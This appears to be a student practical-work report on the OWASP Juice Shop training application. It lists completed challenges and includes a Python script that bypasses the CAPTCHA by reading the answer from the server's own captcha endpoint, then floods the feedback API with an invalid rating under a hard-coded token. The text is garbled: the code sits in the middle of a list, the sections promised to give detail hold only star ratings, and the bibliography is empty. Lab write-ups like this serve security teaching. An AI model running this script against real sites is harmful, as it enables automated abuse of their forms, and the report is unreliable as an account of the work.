

# **The Juice Shop**

# **Practical Work Report**

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This report presents some attacks on the Juice Shop web application, which is a vulnerable web application designed for security testing.

March 12, 2025

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# Contents

1. Introduction .....	4
1.1. All Completed Challenges .....	4
1.2. Zero Stars .....	5
1.3. CAPTCHA Bypass .....	5
1.4. Deluxe Fraud .....	5
1.5. Payback Time .....	5
1.6. Multiple Likes .....	5
Bibliography .....	7

# 1. Introduction

## 1.1. All Completed Challenges

The following challenges have been completed:

1. Score Board
2. Privacy Policy
3. Bully Chatbot
4. Error Handling
5. Zero Stars
6. Login Admin
7. Admin Section
8. Empty User Registration
9. Five-Star Feedback
10. Forged Feedback
11. Login Jim
12. Login Bender
13. CAPTCHA Bypass
14. Deluxe Fraud
15. Payback Time
16. Multiple Likes

Among these challenges, the following five challenges are discussed in detail in this report:

1. Zero Stars
2. CAPTCHA Bypass

```
1  import requests
2  URL = "http://localhost:3000/"
3
4  CAPTCHA_URL = f'{URL}/rest/captcha'
5  FEEDBACKS_URL = f'{URL}/api/Feedbacks'
6
7  jwt = 'Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWVjZXNzIiwiaGF0YSI6eyJpZCJlbnNz50unELAZgxHY1MwowAh11vVFLt_wBf2CnoBx9F0_9xE9aerBamI7oC8x9wiXcQ_lo3ZcMGgFUKXoc_wEu3wiap-Pb1ib6HIWxWpJrHHcynbBb9DvrnmT8LQA'
8
9  def get_captcha():
10     response = requests.get(CAPTCHA_URL, headers={'Authorization': jwt})
11     return response
12
13  def send_feedback(feedback, userId = 1):
14     captcha = get_captcha().json()
15
16     response = requests.post(FEEDBACKS_URL, json={
17         'captchaId': captcha['captchaId'],
18         'captcha': captcha['answer'],
19         'UserId': userId,
```

```
20     'feedback': feedback,  
21     'rating': 114514  
22 }, headers={'Authorization': jwt})  
23     return response  
24  
25 [send_feedback('test') for _ in range(10)]
```

1. Deluxe Fraud
2. Payback Time
3. Multiple Likes

## 1.2. Zero Stars

1 star

## 1.3. CAPTCHA Bypass

3 stars

## 1.4. Deluxe Fraud

3 stars

## 1.5. Payback Time

3 stars

## 1.6. Multiple Likes

six stars

## Statement of Original Authorship

We hereby declare that this report, entitled *The Juice Shop Practical Work Report*, is the result of our group's independent work, and all sources of information and assistance have been fully acknowledged. We confirm that, to the best of our knowledge, this work has not been previously submitted to any other academic institution for a degree or diploma, either in part or in whole.

Any external contributions or collaborative input have been cited appropriately, and all necessary permissions for the use of copyrighted materials have been obtained.

We understand the implications of academic integrity policies and are aware that any breach of these policies may result in academic penalties.

**SIGNATURE:** ..... **DATE:** 12 MARCH 2025

## **Bibliography**